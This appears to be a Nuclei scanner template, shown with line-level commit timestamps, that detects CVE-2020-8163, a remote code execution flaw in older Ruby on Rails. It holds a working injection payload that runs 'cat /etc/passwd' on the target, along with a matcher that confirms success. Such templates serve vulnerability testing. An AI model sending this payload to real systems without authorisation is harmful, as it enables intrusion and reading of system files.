2021-01-02 04:56:15 +00:00
id : CVE-2020-8163
2020-08-22 21:47:58 +00:00
info :
2022-06-28 15:06:25 +00:00
name : Ruby on Rails <5.0.1 - Remote Code Execution
2020-08-22 21:47:58 +00:00
author : tim_koopmans
severity : high
2022-06-28 15:06:25 +00:00
description : Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.
2023-09-06 12:22:36 +00:00
remediation : |
Upgrade Ruby on Rails to version 5.0.1 or above.
2022-04-22 10:38:41 +00:00
reference :
2022-05-17 09:18:12 +00:00
- https://hackerone.com/reports/304805
- https://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0
- https://lists.debian.org/debian-lts-announce/2020/07/msg00013.html
2022-06-28 15:06:25 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-8163
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-8163
cwe-id : CWE-94
2023-10-19 10:38:59 +00:00
epss-score : 0.96793
2023-11-05 22:23:39 +00:00
epss-percentile : 0.99563
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : rubyonrails
product : rails
tags : cve,cve2020,rails,rce,hackerone
2020-08-22 21:47:58 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-08-22 21:47:58 +00:00
- method : GET
path :
- "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
2022-07-02 11:31:46 +00:00
2020-08-22 21:47:58 +00:00
matchers-condition : and
matchers :
- type : regex
2022-07-02 11:31:46 +00:00
part : body
2020-08-22 21:47:58 +00:00
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2022-07-02 11:31:46 +00:00
- type : status
status :
- 200
2023-11-06 09:19:20 +00:00
# digest: 490a004630440220516534e0d7f1a48226509aa5b2667e285f00c6d9b35ae6ae7cfaeab94741227b02206506648c8110e054eb2a15960681369b6ad9b98ff158b1afa46cae720b7e07be:922c64590222798bb761d5b6d8e72950